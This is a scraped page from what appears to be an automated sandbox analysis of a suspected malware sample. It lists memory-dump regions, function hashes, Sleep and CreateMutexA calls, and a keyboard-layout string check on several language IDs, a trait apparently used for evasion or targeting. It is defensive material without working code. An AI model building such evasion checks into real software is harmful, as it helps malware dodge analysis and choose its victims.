Associated: 00000000.00000002.1780395365.00000000010F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780415201.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780436121.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780458186.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780480490.0000000001101000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780499906.0000000001103000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780522267.0000000001104000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780542128.0000000001108000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780559734.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780578915.0000000001110000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780598816.0000000001118000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780617934.0000000001119000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780636324.000000000111A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780656084.0000000001122000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780844785.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.000000000115F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781180761.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781196832.000000000118C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781215404.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781232042.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781254343.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 8df59ffb9843989f6d33844ef22ee490be52d3f290bc5662001b69c89bf5a764
Instruction ID: 6dba06f850669ce9a33a12168ea8988a9a64d583e5c4cee458a4486c21efdc3b
Opcode Fuzzy Hash: 8df59ffb9843989f6d33844ef22ee490be52d3f290bc5662001b69c89bf5a764
Instruction Fuzzy Hash: 6FF1D271A0024C9FEB24DF54CC84BEEBBB9EF49304F504599E508BB281DB74AA84CF95

Function 00EA9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00EAA963
CreateMutexA.KERNEL32(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000000.00000002.1779397072.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1779306671.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779397072.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779477652.0000000000F09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779495653.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779514476.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779633467.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779800731.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779910944.000000000108C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779925540.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779944332.0000000001098000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779961426.000000000109F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779981102.00000000010B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779998878.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780054786.00000000010BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780122460.00000000010CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780156672.00000000010E4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780248371.00000000010E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780280361.00000000010E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780327254.00000000010ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780364253.00000000010EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780380278.00000000010F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780395365.00000000010F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780415201.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780436121.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780458186.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780480490.0000000001101000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780499906.0000000001103000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780522267.0000000001104000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780542128.0000000001108000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780559734.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780578915.0000000001110000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780598816.0000000001118000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780617934.0000000001119000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780636324.000000000111A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780656084.0000000001122000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780844785.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.000000000115F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781180761.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781196832.000000000118C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781215404.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781232042.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781254343.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8f4e92710a2365c7211b80a30e1ac9888783e8bce968ed6e9f36965ebc9a9874
Instruction ID: b3a13ea1803eba15bce1916c813cdd182ec0fe155599fb5a60bcba25bf7af317
Opcode Fuzzy Hash: 8f4e92710a2365c7211b80a30e1ac9888783e8bce968ed6e9f36965ebc9a9874
Instruction Fuzzy Hash: 75314C717042048BEB08DB78DD8979EF7A2DBCA310F245268E414FB3D6C7359980C751

Function 00EA9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00EAA963
CreateMutexA.KERNEL32(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000000.00000002.1779397072.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1779306671.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779397072.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779477652.0000000000F09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779495653.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779514476.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779633467.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779800731.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779910944.000000000108C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779925540.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779944332.0000000001098000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779961426.000000000109F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779981102.00000000010B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779998878.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780054786.00000000010BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780122460.00000000010CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780156672.00000000010E4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780248371.00000000010E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780280361.00000000010E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780327254.00000000010ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780364253.00000000010EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780380278.00000000010F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780395365.00000000010F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780415201.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780436121.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780458186.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780480490.0000000001101000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780499906.0000000001103000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780522267.0000000001104000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780542128.0000000001108000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780559734.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780578915.0000000001110000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780598816.0000000001118000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780617934.0000000001119000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780636324.000000000111A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780656084.0000000001122000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780844785.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.000000000115F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781180761.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781196832.000000000118C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781215404.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781232042.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781254343.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9921a4aafdb174b2155aae99da3af05b0447ed024a3d422d43e72cbd50b186a1
Instruction ID: 59574dadfe34d27199769e535b26f52ec56b4e2c5a97cd2d92e7891e87dfd971
Opcode Fuzzy Hash: 9921a4aafdb174b2155aae99da3af05b0447ed024a3d422d43e72cbd50b186a1
Instruction Fuzzy Hash: 95312E717042048BEB189B78DD887ADB7A2EFCA310F245669E418FF2D6D7355980C752

Function 00EAA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00EAA963
CreateMutexA.KERNEL32(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000000.00000002.1779397072.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1779306671.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779397072.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779477652.0000000000F09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779495653.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779514476.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779633467.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779800731.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779910944.000000000108C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779925540.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779944332.0000000001098000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779961426.000000000109F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779981102.00000000010B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779998878.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780054786.00000000010BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780122460.00000000010CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780156672.00000000010E4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780248371.00000000010E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780280361.00000000010E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780327254.00000000010ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780364253.00000000010EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780380278.00000000010F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780395365.00000000010F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780415201.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780436121.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780458186.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780480490.0000000001101000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780499906.0000000001103000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780522267.0000000001104000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780542128.0000000001108000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780559734.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780578915.0000000001110000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780598816.0000000001118000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780617934.0000000001119000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780636324.000000000111A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780656084.0000000001122000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780844785.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.000000000115F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781180761.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781196832.000000000118C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781215404.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781232042.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781254343.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c2676170cf9ff82fbd2a5ec3b4d309499d9bfb9087427b132b45550dfce53182
Instruction ID: fb2c0b84ec89ca3a318cf9e8bc7f937261679d133cc9ef5701bf1a60bbdcc64b
Opcode Fuzzy Hash: c2676170cf9ff82fbd2a5ec3b4d309499d9bfb9087427b132b45550dfce53182
Instruction Fuzzy Hash: 38314A71B003049BEB089B78DDC879EB7A2DBCA310F285679E414FB3D5C7366980C622

Function 00EAA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00EAA963
CreateMutexA.KERNEL32(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000000.00000002.1779397072.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1779306671.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779397072.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779477652.0000000000F09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779495653.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779514476.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779633467.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779800731.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779910944.000000000108C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779925540.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779944332.0000000001098000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779961426.000000000109F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779981102.00000000010B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779998878.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780054786.00000000010BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780122460.00000000010CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780156672.00000000010E4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780248371.00000000010E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780280361.00000000010E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780327254.00000000010ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780364253.00000000010EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780380278.00000000010F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780395365.00000000010F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780415201.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780436121.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780458186.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780480490.0000000001101000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780499906.0000000001103000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780522267.0000000001104000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780542128.0000000001108000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780559734.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780578915.0000000001110000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780598816.0000000001118000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780617934.0000000001119000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780636324.000000000111A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780656084.0000000001122000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780844785.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.000000000115F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781180761.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781196832.000000000118C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781215404.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781232042.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781254343.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6e1d2db49b2e3b1b54f574fd50b771f742f68d5f715e13c75aaebb155c6ffc58
Instruction ID: 18b92a0f8c29184d738c1164e80291a568b052f10650b1acebdde66e72400394
Opcode Fuzzy Hash: 6e1d2db49b2e3b1b54f574fd50b771f742f68d5f715e13c75aaebb155c6ffc58
Instruction Fuzzy Hash: D1313C717002049BEB189F68DD8C79EB7A2DBCF310F285629E404FB2D5D7365980C622

Function 00EAA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00EAA963
CreateMutexA.KERNEL32(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000000.00000002.1779397072.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1779306671.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779397072.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779477652.0000000000F09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779495653.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779514476.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779633467.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779800731.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779910944.000000000108C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779925540.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779944332.0000000001098000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779961426.000000000109F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779981102.00000000010B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779998878.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780054786.00000000010BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780122460.00000000010CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780156672.00000000010E4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780248371.00000000010E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780280361.00000000010E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780327254.00000000010ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780364253.00000000010EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780380278.00000000010F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780395365.00000000010F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780415201.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780436121.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780458186.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780480490.0000000001101000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780499906.0000000001103000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780522267.0000000001104000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780542128.0000000001108000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780559734.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780578915.0000000001110000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780598816.0000000001118000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780617934.0000000001119000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780636324.000000000111A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780656084.0000000001122000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780844785.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.000000000115F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781180761.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781196832.000000000118C000.00000080.00000001.01000000.00000003.sdmpDownload File
